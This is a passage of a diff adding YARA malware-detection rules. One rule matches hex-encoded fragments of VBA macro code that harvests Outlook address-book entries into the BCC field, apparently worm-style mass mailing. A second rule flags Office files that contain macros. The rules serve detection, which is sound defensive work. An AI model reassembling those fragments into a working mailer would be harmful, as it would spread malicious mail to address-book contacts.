+  $a0 = { 466f72204f353d3120546f204f332e41646472657373456e74726965732e436f756e74 }
+  $a1 = { 536574204f363d4f332e41646472657373456e7472696573284f3529 }
+  $a2 = { 4966204f353d31205468656e }
+  $a3 = { 4f342e4243433d4f362e41646472657373 }
+  $a4 = { 456c7365 }
+  $a5 = { 4f342e4243433d4f342e424343202620223b20222026204f362e41646472657373 }
+
+condition:
+  $a0 and $a1 and $a2 and $a3 and $a4 and $a5
+}
diff --git a/yara-mikesxrs/xme/office_macro.yar b/yara-mikesxrs/xme/office_macro.yar
new file mode 100644
index 0000000..ce74f49
--- /dev/null
+++ b/yara-mikesxrs/xme/office_macro.yar
@@ -0,0 +1,14 @@
+rule office_macro
+{
+    meta:
+        description = "M$ Office document containing a macro"
+        author = "Xavier Mertens"
+        reference = "https://blog.rootshell.be/2015/01/08/searching-for-microsoft-office-files-containing-macro/"
+        thread_level = 1
+        in_the_wild = true
+    strings:
+        $a = {d0 cf 11 e0}
+        $b = {00 41 74 74 72 69 62 75 74 00}
+    condition:
+        $a at 0 and $b
+}